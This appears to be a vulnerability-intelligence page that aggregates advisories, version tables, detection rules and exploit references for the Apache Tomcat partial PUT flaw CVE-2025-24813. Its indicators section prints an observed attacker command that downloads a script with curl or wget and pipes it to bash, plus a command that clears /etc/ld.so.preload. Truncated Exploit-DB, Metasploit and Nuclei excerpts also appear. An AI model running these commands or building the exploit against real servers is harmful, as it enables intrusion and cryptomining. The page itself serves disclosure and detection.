CVE-2025-24813
published 2025-03-10CVE-2025-24813: Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files…
PriorityP195critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2025-04-22
Exploited in the wild
EPSS
99.94%
100.0th percentile
Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions
may also be affected.
If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files:
- writes enabled for the default servlet (disabled by default)
- support for partial PUT (enabled by default)
- a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads
- attacker knowledge of the names of security sensitive files being uploaded
- the security sensitive files also being uploaded via partial PUT
If all of the following were true, a malicious user was able to perform remote code execution:
- writes enabled for the default servlet (disabled by default)
- support for partial PUT (enabled by default)
- application was using Tomcat's file based session persistence with the default storage location
- application included a library that may be leveraged in a deserialization attack
Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.
Affected
12 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | tomcat | < 9.0.99 | 9.0.99 |
| apache | tomcat | — | — |
| apache | tomcat | — | — |
| apache | tomcat | >= 10.1.1 < 10.1.35 | 10.1.35 |
| apache | tomcat | >= 11.0.1 < 11.0.3 | 11.0.3 |
| apache_software_foundation | apache_tomcat | 10.1.0-M1 – 10.1.34 | — |
| apache_software_foundation | apache_tomcat | 11.0.0-M1 – 11.0.2 | — |
| apache_software_foundation | apache_tomcat | 8.5.0 – 8.5.100 | — |
| apache_software_foundation | apache_tomcat | 9.0.0.M1 – 9.0.98 | — |
| debian | debian_linux | — | — |
| debian | tomcat10 | < tomcat10 10.1.34-0+deb12u2 (bookworm) | tomcat10 10.1.34-0+deb12u2 (bookworm) |
| debian | tomcat9 | < tomcat10 10.1.34-0+deb12u2 (bookworm) | tomcat10 10.1.34-0+deb12u2 (bookworm) |
Detection & IOCsextracted from sources · hover to see the quote
commandsh -c "(curl http://:8080/soco.sh||wget -q -O- http://:8080/soco.sh||cc http://:8080/soco.sh||ww -q -O- http://:8080/soco.sh)|bash"↗
snort↗
App.Exploit.CVE-2025-24813
- →Monitor web server logs for unexpected partial PUT requests, which are the first stage of the CVE-2025-24813 exploit chain used to upload a malicious serialized Java payload as a session file. ↗
- →Alert on presence of unexpected JSP files appearing in the web server root directory, which may indicate successful exploitation and webshell placement. ↗
- →Alert on external POST or GET requests targeting suspicious JSP files on Tomcat servers, which may indicate post-exploitation webshell interaction. ↗
- →Detect WAF rule triggers indicating attempts to upload or execute unauthorized files via PUT requests on Apache Tomcat. ↗
- →Attackers use Base64-encoded payloads in PUT requests to evade traditional signature-based detection; inspect and decode PUT request bodies for serialized Java objects. ↗
- →Monitor for /etc/ld.so.preload being cleared (cat /dev/null > /etc/ld.so.preload) as a post-exploitation indicator used by Soco404 to eliminate competing miners and evade LD_PRELOAD-based rootkits. ↗
- →Use the Zscaler WAF signatures 6000004, 944250, and 944110 to detect Unix command injection, suspicious Java method invocations, and Java process spawning associated with CVE-2025-24813 exploitation. ↗
- ·RCE via CVE-2025-24813 requires write permissions enabled on the default servlet, which is DISABLED by default. Environments without this non-default configuration are not vulnerable to RCE. ↗
- ·RCE exploitation additionally requires Tomcat's file-based session persistence with the default storage location to be in use, which is NOT enabled by default. ↗
- ·RCE exploitation requires the application to include a library that can be leveraged in a deserialization attack; without such a gadget library present, deserialization-based RCE is not achievable. ↗
- ·Partial PUT support must be enabled for exploitation; this IS enabled by default, meaning it alone does not distinguish vulnerable from non-vulnerable instances. ↗
- ·Only a limited number of Tomcat instances are likely affected; a GitHub code search for the write-enabled default servlet configuration (readonly AND "false" language:xml) returned only 218 open-source projects using this setting. ↗
- ·GreyNoise confirmed that as of initial reporting, exploit traffic was limited to naive attackers using publicly available PoC code, not sophisticated threat actors. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
osv9.8CRITICAL
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_oracle9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Oracle
Oracle Oracle Hospitality Applications Risk Matrix: Next-Gen SPMS (Apache Tomcat) — CVE-2025-24813
vendor_oracle·2025-07-15·CVSS 9.8
CVE-2025-24813 [CRITICAL] Oracle Oracle Hospitality Applications Risk Matrix: Next-Gen SPMS (Apache Tomcat) — CVE-2025-24813
Oracle Oracle Hospitality Applications Risk Matrix: Next-Gen SPMS (Apache Tomcat) vulnerability
CVE: CVE-2025-24813
CVSS: 9.8
Protocol: HTTP
Remote exploit: Yes
Affected versions: Network
Advisory: cpujul2025 (JUL 2025)
Ubuntu
Tomcat vulnerability
vendor_ubuntu·2025-05-26·CVSS 9.8
CVE-2025-24813 [CRITICAL] Tomcat vulnerability
Title: Tomcat vulnerability
Summary: Tomcat could expose sensitive files or run programs if it received
specially crafted network traffic.
USN-7525-1 fixed CVE-2025-24813 for tomcat9 in Ubuntu 22.04 LTS,
Ubuntu 20.04 LTS, and Ubuntu 18.04 LTS. This update fixes it for
tomcat9 in Ubuntu 24.04 LTS, Ubuntu 24.10, and Ubuntu 25.10.
These versions include only the tomcat library (libtomcat9-java)
and not the full tomcat server stack.
Original advisory details:
It was discovered that Apache Tomcat incorrectly implemented partial
PUT functionality by replacing path separators with dots in temporary
files. A remote attacker could possibly use this issue to access
sensitive files, inject malicious content, or execute remote code.
Instructions: In general, a standard system update will make all
Ubuntu
Tomcat vulnerability
vendor_ubuntu·2025-05-21
CVE-2025-24813 Tomcat vulnerability
Title: Tomcat vulnerability
Summary: Tomcat could expose sensitive files or run programs if it received
specially crafted network traffic.
It was discovered that Apache Tomcat incorrectly implemented partial
PUT functionality by replacing path separators with dots in temporary
files. A remote attacker could possibly use this issue to access
sensitive files, inject malicious content, or execute remote code.
Instructions: In general, a standard system update will make all the necessary changes.
Oracle
Oracle Oracle Commerce Risk Matrix: Content Acquisition System (Apache Tomcat) — CVE-2025-24813
vendor_oracle·2025-04-15·CVSS 9.8
CVE-2025-24813 [CRITICAL] Oracle Oracle Commerce Risk Matrix: Content Acquisition System (Apache Tomcat) — CVE-2025-24813
Oracle Oracle Commerce Risk Matrix: Content Acquisition System (Apache Tomcat) vulnerability
CVE: CVE-2025-24813
CVSS: 9.8
Protocol: HTTP
Remote exploit: Yes
Affected versions: Network
Advisory: cpuapr2025 (APR 2025)
CISA
Apache Tomcat Path Equivalence Vulnerability
cisa·2025-04-01·CVSS 9.8
CVE-2025-24813 [CRITICAL] CWE-44 Apache Tomcat Path Equivalence Vulnerability
Vulnerability: Apache Tomcat Path Equivalence Vulnerability
Affected: Apache Tomcat
Apache Tomcat contains a path equivalence vulnerability that allows a remote attacker to execute code, disclose information, or inject malicious content via a partial PUT request.
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability affects a common open-source component, third-party library, or a protocol used by different products. Please check with specific vendors for information on patching status. For more information, please see: https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq ; https://nvd.nist.gov/vuln/detail/CVE-2025-24813
Red Hat
tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
vendor_redhat·2025-03-10·CVSS 9.8
CVE-2025-24813 [CRITICAL] CWE-41 tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions
may also be affected.
If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files:
- writes enabled for the default servlet (disabled by default)
-
Debian
CVE-2025-24813: tomcat10 - Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution an...
vendor_debian·2025·CVSS 9.8
CVE-2025-24813 [CRITICAL] CVE-2025-24813: tomcat10 - Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution an...
Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was
OSV
Tomcat vulnerability
osv·2025-05-26·CVSS 9.8
CVE-2025-24813 [CRITICAL] Tomcat vulnerability
Tomcat vulnerability
USN-7525-1 fixed CVE-2025-24813 for tomcat9 in Ubuntu 22.04 LTS,
Ubuntu 20.04 LTS, and Ubuntu 18.04 LTS. This update fixes it for
tomcat9 in Ubuntu 24.04 LTS, Ubuntu 24.10, and Ubuntu 25.10.
These versions include only the tomcat library (libtomcat9-java)
and not the full tomcat server stack.
Original advisory details:
It was discovered that Apache Tomcat incorrectly implemented partial
PUT functionality by replacing path separators with dots in temporary
files. A remote attacker could possibly use this issue to access
sensitive files, inject malicious content, or execute remote code.
OSV
Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
osv·2025-03-10
CVE-2025-24813 [CRITICAL] Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.
If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files:
- writes enabled for the default servlet (disabled by de
OSV
CVE-2025-24813: Path Equivalence: 'file
osv·2025-03-10·CVSS 9.8
CVE-2025-24813 [CRITICAL] CVE-2025-24813: Path Equivalence: 'file
Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was
GHSA
Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
ghsa·2025-03-10
CVE-2025-24813 [CRITICAL] CWE-44 Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.
If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files:
- writes enabled for the default servlet (disabled by de
VulnCheck
Apache camel Improper Handling of Case Sensitivity
vulncheck·2025·CVSS 5.6
CVE-2025-27636 [MEDIUM] Apache camel Improper Handling of Case Sensitivity
Apache camel Improper Handling of Case Sensitivity
Bypass/Injection vulnerability in Apache Camel components under particular conditions.
This issue affects Apache Camel: from 4.10.0 through <= 4.10.1, from 4.8.0 through <= 4.8.4, from 3.10.0 through <= 3.22.3.
Users are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases.
This vulnerability is present in Camel's default incoming header filter, that allows an attacker to include Camel specific
headers that for some Camel components can alter the behaviours such as the camel-bean component, to call another method
on the bean, than was coded in the application. In the camel-jms component, then a malicious header can be used to send
the message to another queue (on the same broker)
VulnCheck
Apache camel Improper Neutralization of Internal Special Elements
vulncheck·2025·CVSS 5.6
CVE-2025-29891 [MEDIUM] Apache camel Improper Neutralization of Internal Special Elements
Apache camel Improper Neutralization of Internal Special Elements
Bypass/Injection vulnerability in Apache Camel.
This issue affects Apache Camel: from 4.10.0 before 4.10.2, from 4.8.0 before 4.8.5, from 3.10.0 before 3.22.4.
Users are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases.
This vulnerability is present in Camel's default incoming header filter, that allows an attacker to include Camel specific headers that for some Camel components can alter the behaviours such as the camel-bean component, or the camel-exec component.
If you have Camel applications that are directly connected to the internet via HTTP, then an attacker could include parameters in the HTTP requests that are sent to the Camel application that get transla
VulnCheck
Apache Tomcat Path Equivalence Vulnerability
vulncheck·2025·CVSS 9.8
CVE-2025-24813 [CRITICAL] CWE-44 Apache Tomcat Path Equivalence Vulnerability
Apache Tomcat Path Equivalence Vulnerability
Apache Tomcat contains a path equivalence vulnerability that allows a remote attacker to execute code, disclose information, or inject malicious content via a partial PUT request.
Affected: Apache Tomcat
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2025-03-14&host_type=src&vulnerability=cve-2025-24813; https://lab.wallarm.com/one-put-request-to-own-tomcat-cve-2025-24813-rce-is-in-the-wild/; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2025-03-15&host_type=src&vulnerability
Suricata
ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)
suricata·2025-03-12·CVSS 9.8
CVE-2025-24813 [CRITICAL] ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)
ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)"; flow:established,to_server; http.method; content:"PUT"; http.uri; pcre:"/\x2f[^\x2f\x2e\s]*?\x2e\w+$/"; http.header; to_lowercase; content:"content-range|3a 20|"; fast_pattern; pcre:"/^\w+\s(?:(?:\d+|\x2a)?\x2d(?:\d+|\x2a)?|\x2a)\x2f(?:\d+|\x2a)?/R"; reference:url,lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq; reference:cve,2025-24813; classtype:web-application-attack; sid:2060801; rev:1; metadata:affected_product Apache_Tomcat, attack_target Server, created_at 2025_03_12, cve CVE_2025_24813, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Ex
Exploit-DB
Apache Tomcat 11.0.3 - Remote Code Execution
exploitdb·2025-04-07·CVSS 9.8
CVE-2025-24813 [CRITICAL] Apache Tomcat 11.0.3 - Remote Code Execution
Apache Tomcat 11.0.3 - Remote Code Execution
---
# Exploit Title: Apache Tomcat Path Equivalence - Remote Code Execution
# Exploit Author: Al Baradi Joy
# CVE: CVE-2025-24813
# Date: 2025-04-06
# Vendor Homepage: https://tomcat.apache.org/
# Software Link: https://tomcat.apache.org/download-90.cgi
# Version: Apache Tomcat < 11.0.3 / 10.1.35 / 9.0.98
# Tested on: Apache Tomcat 10.1.33
# CVSS: 9.8 (CRITICAL)
# CWE: CWE-44, CWE-502
# Reference:
https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
import requests
import random
import string
import sys
def rand_filename(length=6):
return ''.join(random.choices(string.ascii_lowercase, k=length))
def generate_payload(interact_url):
# Java serialized payload gadget triggering DNS interaction
return f'\xac
Metasploit
Tomcat Partial PUT Java Deserialization
metasploit
Tomcat Partial PUT Java Deserialization
Tomcat Partial PUT Java Deserialization
This module exploits a Java deserialization vulnerability in Apache Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to place an attacker controlled deserialization payload in the /webapps/ROOT/ directory. For the exploit to succeed, writes must be enabled for the default servlet, and org.apache.catalina.session.PersistentManager must be configured to use org.apache.catalina.session.FileStore. Verified working on 10.1.16-1
Nuclei
Apache Tomcat Path Equivalence - Remote Code Execution
nuclei·CVSS 9.8
CVE-2025-24813 [CRITICAL] Apache Tomcat Path Equivalence - Remote Code Execution
Apache Tomcat Path Equivalence - Remote Code Execution
Path Equivalence- 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.
Template:
id: CVE-2025-24813
info:
name: Apache Tomcat Path Equivalence - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch,theMiddle
severity: critical
description: |
Path Equivalence- 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.
impact: |
Unauthenticated attackers can exploit path equivalence issues to upload malicious files and execute arbitrary code, leading to comple
Hackernews
Stop Your Legacy Infrastructure from Hijacking Your AI Agents
blogs_hackernews·2026-06-22
CVE-2025-24813 Stop Your Legacy Infrastructure from Hijacking Your AI Agents
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## Stop Your Legacy Infrastructure from Hijacking Your AI Agents
Earlier this month, I spoke at the Gartner Security & Risk Management Summit about a blind spot most security programs are still not accounting for - how attackers are circumventing AI security programs by using legacy infrastructure to hijack AI agents.
AI adoption is moving faster than security programs can account for. Roughly 71% of organizations are piloting AI agents across their enterprise applications, and 31% have already moved them into production workflows.
For this reason, organizations are legitimately pouring resources into securing AI workloads aga
Zscaler
Zscaler Discovers Vulnerability in Keras Models Allowing Arbitrary File Access and SSRF (CVE-2025-12058) | Zscaler
blogs_zscaler·2025-11-04·CVSS 5.9
[MEDIUM] Zscaler Discovers Vulnerability in Keras Models Allowing Arbitrary File Access and SSRF (CVE-2025-12058) | Zscaler
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Wiz
Soco404: Multiplatform Cryptomining Campaign | Wiz Blog
blogs_wiz·2025-07-23
Soco404: Multiplatform Cryptomining Campaign | Wiz Blog
### TL;DR
- Wiz research has observed an active campaign exploiting various vulnerabilities and misconfigurations across cloud environments to deploy cryptominers.
- In the variant described in the blog, the attacker exploited misconfigurations in PostgresSQL.
- The attacker targets both Linux and Windows systems, deploying platform-specific malware.
- They use process masquerading to disguise malicious activity as legitimate system processes.
- They achieve persistence via cron job and shell initialization files (e.g., `.bashrc`,` .profile`).
- They rely on compromised legitimate servers to host and deliver malware.
- The malware spawns multiple child processes that communicate via local sockets.
- Payloads are embedded in fake 404 HTML pages hosted on websites built using Google Sites.
Unit42
Apache Under the Lens: Tomcat’s Partial PUT and Camel’s Header Hijack
blogs_unit42·2025-07-03·CVSS 9.8
CVE-2025-24813 [CRITICAL] Apache Under the Lens: Tomcat’s Partial PUT and Camel’s Header Hijack
Threat Research Center
Threat Research
Vulnerabilities
## Apache Under the Lens: Tomcat’s Partial PUT and Camel’s Header Hijack
Jun Li
Qiang Liu
Yiheng An
Haozhe Zhang
Published: July 3, 2025
Threat Research
Vulnerabilities
Apache
CVE-2025-24813
CVE-2025-27636
CVE-2025-29891
Remote Code Execution
## Executive Summary
In March 2025, Apache disclosed CVE-2025-24813 , a vulnerability impacting Apache Tomcat. This is a widely used platform that allows Apache web servers to run Java-based web applications. The flaw allows remote code execution, affecting Apache Tomcat versions 9.0.0.M1 to 9.0.98, 10.1.0-M1 to 10.1.34 and 11.0.0-M1 to 11.0.2.
The same month, Apache revealed two additional vulnerabilities in Apache Camel, a message routing middleware framework. These vulnera
Unit42
Apache Under the Lens: Tomcat’s Partial PUT and Camel’s Header Hijack
blogs_unit42·2025-07-03·CVSS 9.8
CVE-2025-24813 [CRITICAL] Apache Under the Lens: Tomcat’s Partial PUT and Camel’s Header Hijack
## Executive Summary
In March 2025, Apache disclosed CVE-2025-24813, a vulnerability impacting Apache Tomcat. This is a widely used platform that allows Apache web servers to run Java-based web applications. The flaw allows remote code execution, affecting Apache Tomcat versions 9.0.0.M1 to 9.0.98, 10.1.0-M1 to 10.1.34 and 11.0.0-M1 to 11.0.2.
The same month, Apache revealed two additional vulnerabilities in Apache Camel, a message routing middleware framework. These vulnerabilities are CVE-2025-27636 and CVE-2025-29891, two flaws that allow remote code execution, affecting Apache Camel versions 4.10.0 to 4.10.1, 4.8.0 to 4.8.4 and 3.10.0 to 3.22.3.
These vulnerabilities are significant because millions of developers rely on the platform provided by the Apache Foundation. Successful exp
Bleepingcomputer
Brute-force attacks target Apache Tomcat management panels
blogs_bleepingcomputer·2025-06-11
Brute-force attacks target Apache Tomcat management panels
## Brute-force attacks target Apache Tomcat management panels
## Sergiu Gatlan
A coordinated campaign of brute-force attacks using hundreds of unique IP addresses targets Apache Tomcat Manager interfaces exposed online.
Tomcat is a popular open-source web server widely used by large enterprises and SaaS providers, while Tomcat Manager is a web-based administration tool that comes bundled with the Tomcat server and helps admins manage deployed web apps via a graphical interface.
Tomcat Manager is configured by default to only allow access from localhost (127.0.0.1), with no pre-configured credentials and remote access blocked. However, when exposed online, the web app can be targeted by attackers, as cybersecurity company GreyNoise observed recently.
Starting June 5th, GreyNoise analys
Qualys
Oracle Critical Patch Update, April 2025 Security Update Review
blogs_qualys·2025-04-16
Oracle Critical Patch Update, April 2025 Security Update Review
## Table of Contents
Qualys QID Coverage
Notable Oracle Vulnerabilities Patched
Oracle released its first quarterly edition of this year’s Critical Patch Update. The update received patches for 378 s ecurity vulnerabilities. Some of the vulnerabilities addressed in this update impact more than one product. These patches address vulnerabilities in various product families, including third-party components in Oracle products.
In this quarterly Oracle Critical Patch Update, Oracle Communications received the highest number of patches, 103, constituting about 27% of the total patches released. Oracle MySQL and Oracle Communications Applications followed, with 43 and 42 security patches.
300 of the 378 security patches provided by the April Critical Patch Update (about 79%) are for non-Ora
Qualys
Oracle Critical Patch Update, April 2025 Security Update Review | Qualys
blogs_qualys·2025-04-16
Oracle Critical Patch Update, April 2025 Security Update Review | Qualys
#### Table of Contents
- Qualys QID Coverage
- Notable Oracle Vulnerabilities Patched
Oracle released its first quarterly edition of this year’s Critical Patch Update. The update received patches for 378 security vulnerabilities. Some of the vulnerabilities addressed in this update impact more than one product. These patches address vulnerabilities in various product families, including third-party components in Oracle products.
In this quarterly Oracle Critical Patch Update, Oracle Communications received the highest number of patches, 103, constituting about 27% of the total patches released. Oracle MySQL and Oracle Communications Applications followed, with 43 and 42 security patches.
300 of the 378 security patches provided by the April Critical Patch Update (about 79%) are for non
Wiz
Crying Out Cloud Newsletter - April 2025 | Wiz
blogs_wiz·2025-04-01·CVSS 9.8
CVE-2025-24813 [CRITICAL] Crying Out Cloud Newsletter - April 2025 | Wiz
Welcome back! In this edition, we bring you the latest in cloud security – noteworthy incidents, exclusive data, and crucial vulnerabilities. Let's dive in.
Here are our top picks of cloud security highlights!
Hype or no hype - RCE Vulnerability in Apache Tomcat Exploited in-the-Wild
CVE-2025-24813 is a remote code execution (RCE) vulnerability affecting Apache Tomcat. Under specific conditions, an attacker can upload a malicious session file via a partial PUT request and trigger its execution, potentially leading to full server compromise. The exploit requires several preconditions to be met, including specific server configurations and the presence of a deserialization-vulnerable library. While active exploitation has reportedly been observed in the wild, we estimate that in practice,
Zscaler
AI-Driven Threat Detection: Revolutionizing Cyber Defense
blogs_zscaler·2025-03-27
AI-Driven Threat Detection: Revolutionizing Cyber Defense
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
CVE-2025-29927: Next.js Middleware Flaw | ThreatLabz
blogs_zscaler·2025-03-27·CVSS 9.1
[CRITICAL] CVE-2025-29927: Next.js Middleware Flaw | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Zscaler
CVE-2025-24813: Apache Tomcat Vulnerability | ThreatLabz
blogs_zscaler·2025-03-21·CVSS 9.8
[CRITICAL] CVE-2025-24813: Apache Tomcat Vulnerability | ThreatLabz
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Greynoiseio
GreyNoise Observes Active Exploitation of Critical Apache Tomcat RCE Vulnerability (CVE-2025-24813)
blogs_greynoiseio·2025-03-20·CVSS 9.8
[CRITICAL] GreyNoise Observes Active Exploitation of Critical Apache Tomcat RCE Vulnerability (CVE-2025-24813)
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Bleepingcomputer
Critical RCE flaw in Apache Tomcat actively exploited in attacks
blogs_bleepingcomputer·2025-03-17·CVSS 9.8
CVE-2025-24813 [CRITICAL] Critical RCE flaw in Apache Tomcat actively exploited in attacks
## Critical RCE flaw in Apache Tomcat actively exploited in attacks
## Bill Toulas
A critical remote code execution (RCE) vulnerability in Apache Tomcat tracked as CVE-2025-24813 is actively exploited in the wild, enabling attackers to take over servers with a simple PUT request.
Hackers are reportedly leveraging proof-of-concept (PoC) exploits that were published on GitHub just 30 hours after the flaw was disclosed last week.
The malicious activity was confirmed by Wallarm security researchers, who warned that traditional security tools fail to detect it as PUT requests appear normal and the malicious content is obfuscated using base64 encoding.
Specifically, the attacker sends a PUT request containing a base64-encoded serialized Java payload saved to Tomcat's session storage.
The a
Recorded Future
Apache Tomcat: CVE-2025-24813: Active Exploitation
blogs_recorded_future·CVSS 9.8
CVE-2025-24813 [CRITICAL] Apache Tomcat: CVE-2025-24813: Active Exploitation
# Apache Tomcat: CVE-2025-24813
## What is CVE-2025-24813?
